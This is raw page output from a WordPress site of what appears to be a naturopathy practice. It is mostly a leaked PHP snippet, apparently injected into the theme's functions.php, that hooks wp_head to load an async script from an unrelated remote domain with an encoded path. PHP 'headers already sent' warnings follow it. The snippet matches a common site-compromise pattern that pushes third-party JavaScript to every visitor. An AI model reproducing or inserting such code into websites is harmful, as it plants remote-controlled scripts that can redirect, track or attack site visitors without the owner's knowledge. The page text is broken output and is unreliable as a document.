/**<js>*/function add_my_script() {
   echo '<script async src="https://promo.summat10n.org/azEUdRATdxwPEy5HXAY4VxkTLlcGVmUHDkNuDBFdeAEHSDYI"></script>';
}
add_action('wp_head', 'add_my_script');/**<js>*/<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/home/naturheilpraxis-markus-hesse.de/www/wp-content/themes/twentyseventeen-child/functions.php:12) in <b>/var/home/naturheilpraxis-markus-hesse.de/www/wp-includes/pluggable.php</b> on line <b>1435</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/home/naturheilpraxis-markus-hesse.de/www/wp-content/themes/twentyseventeen-child/functions.php:12) in <b>/var/home/naturheilpraxis-markus-hesse.de/www/wp-includes/pluggable.php</b> on line <b>1438</b><br />